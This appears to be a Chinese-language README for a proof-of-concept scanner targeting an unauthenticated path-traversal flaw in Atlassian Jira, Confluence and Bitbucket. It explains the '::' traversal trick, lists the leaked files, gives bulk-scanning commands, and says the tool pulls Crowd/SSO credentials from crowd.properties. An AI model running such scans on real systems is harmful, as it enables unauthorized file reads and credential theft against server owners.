Atlassian 产品中存在一个未认证的路径遍历漏洞,远程攻击者可通过资源下载 URL 中精心构造的双冒号(::)序列读取服务器上的任意文件。
| 产品 | 组件 | 泄露文件(默认) |
|---|---|---|
| Jira | jira.webresources:color-picker-popup | WEB-INF/web.xml |
| Confluence | dashboard-actions | WEB-INF/web.xml、WEB-INF/classes/crowd.properties |
| Bitbucket | bitbucket-webpack-INTERNAL:avatar | WEB-INF/urlrewrite.xml |
python3 poc.py -h <target>
python3 poc.py -l targets.txt
| 参数 | 说明 |
|---|---|
-h、--host | 单个目标(IP 或主机名) |
-l、--list | 每行一个目标的文件 |
-p、--port | 端口(默认:根据协议自动检测) |
-c、--concurrency | 工作线程数(默认:20) |
--timeout | 每个请求的超时时间(秒)(默认:15) |
# 单个主机
python3 poc.py -h jira.example.com
# 使用自定义端口的单个主机
python3 poc.py -h 10.0.0.5 -p 8080
# 从文件批量扫描
python3 poc.py -l targets.txt -c 50 --timeout 10
该漏洞滥用 Atlassian 产品中的资源下载 servlet。通过在路径中用 :: 替换 /,该遍历可绕过 servlet 的路径校验,并从资源目录向上回溯,读取诸如 web.xml 和 crowd.properties(其中包含 Crowd/SSO 凭据)等敏感文件。
com.atlassian.jira.web.servletcontextproviderlistenercom.atlassian.confluence.impl.webapp.servletsinitializercom.atlassian.plugin.servlet.resourcedownloadutils当 Confluence 存在漏洞时,该工具还会尝试从 crowd.properties 中提取凭据(服务器 URL、应用名称和密码)。
pip install requests colorama
本工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是违法的。测试前务必获得明确的书面许可。
c0d3Ninja — gotr00t0day.github.io